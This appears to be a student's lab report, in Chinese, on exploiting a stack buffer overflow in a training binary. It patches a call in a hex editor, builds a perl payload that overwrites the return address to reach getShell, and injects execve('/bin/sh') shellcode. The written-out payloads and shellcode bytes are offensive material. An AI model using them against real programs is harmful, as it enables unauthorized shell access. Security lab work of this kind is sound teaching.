一.实验目标
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。
二.实验知识点
1.熟悉Linux基本操作
2.能看懂常用指令,如管道(|),输入、输出重定向(>)等。
3.理解Bof的原理。
4.能看得懂汇编、机器指令、EIP、指令地址。
5.会使用gdb,vi。
三.实验步骤
(一)修改程序机器指令,该变终端名
![image]()
将pwn1文件下载至kali并改名为pwn20232413,反汇编文件
![ba54d7f0fc4078c7a477d8abdc223cc6]()
在终端输入vi pwn20232413,结果为乱码
点击esc,输入:%!xxd进入十六进制编辑模式,将e8 d7更改为e8 c3
![a55b17d248108e7dbf73995c069510e4]()
:%!xxd -r转回原来的格式并保存
![fc25ce3fd58ffef13211fc59442dc012]()
修改成功
输入./pwn20232413显示运行结果
![image]()
(二)BOF攻击,改变程序执行流
安装gdb
使用命令sudo apt update和sudo apt install gdb命令安装gdb,完成后输入gdb,查看是否安装成功
![d1dfc42093002cdef0fcbe6f0891971a]()
复制pwn1,命名为pwn20232413_2
在 gdb 调试 pwn20232413_2程序的过程中,输入字符串 “1111111122222222333333334444444412345678” 后,使用 info r 命令查看寄存器 eip 的值,结果显示输入的 “1234”(对应十六进制 0x34333231)已覆盖堆栈上的返回地址。因此,只需将这四个字符替换为 getShell 函数的内存地址,就能让程序执行 getShell 函数。
![302a96a13cee67d588aa215616c2bb33]()
![0bcc93114746deeb8639ab093998fcab]()
为了将1234
替换为getShell
的地址0x0804847d,我们
通过以下命令生成一个包含这些十六进制内容的文件:
perl-e'print"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
生成文件后,使用十六进制查看工具查看文件内容,命令为:
xxd input
使用以下命令将input
文件中的字符串作为可执行文件的输入:
(cat input;cat) | ./pwn20232413_2
输入字符串将传递给pwn20232413_2
,实现对程序的控制。
![b5e1b73d089cc98bd9795486a7a0a1aa]()
成功调用getShell函数
(三)注入Shellcode
1.准备execstack
![bdfdf6d1f13be12fe57904f3c29477b8]()
2.构筑payload
输入命令构筑shellcode的输入
perl -e'print"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
输入以下命令将input_shellcode
的输入内容作为pwn20232413_3
的输入:
(cat input_shellcode; cat) | ./pwn20232413_3
![25ee26b6c52d8bb0a77cbf797c452631]()
3.新开终端,输入以下命令查看pwn20232413_3
文件的进程及进程号:
ps -ef | grep pwn20232413_3
![e170d70acf3963affaa6135c2c54d73f]()
4.设置断点,查看注入内存
5.确认RET的覆盖跳转
6.shellcode执行结果
![1d18d3cf147014667d1c1c02f45c1c1d]()
![image]()
四.实验中遇到的困难与解决办法
困难:
安装gdb时,由于缺失公钥,无法验证签名,导致安装失败。
解决办法:
通过命令强制删除旧密钥,通过官方源重新导入密钥,修复密钥换文件权限,以下为使用到的命令
五.实验心得
本次实验不仅让我掌握了缓冲区溢出漏洞的调试与利用方法,更培养了 “从程序底层逻辑分析问题” 的思维习惯。通过 GDB 工具的实操、栈帧结构的分析、payload 的构造与验证,我对 “程序执行流控制” 这一核心概念有了从抽象到具体的认知。未来,我将以本次实验为基础,进一步学习更复杂的漏洞类型与利用技术,不断提升自身的网络安全实践能力。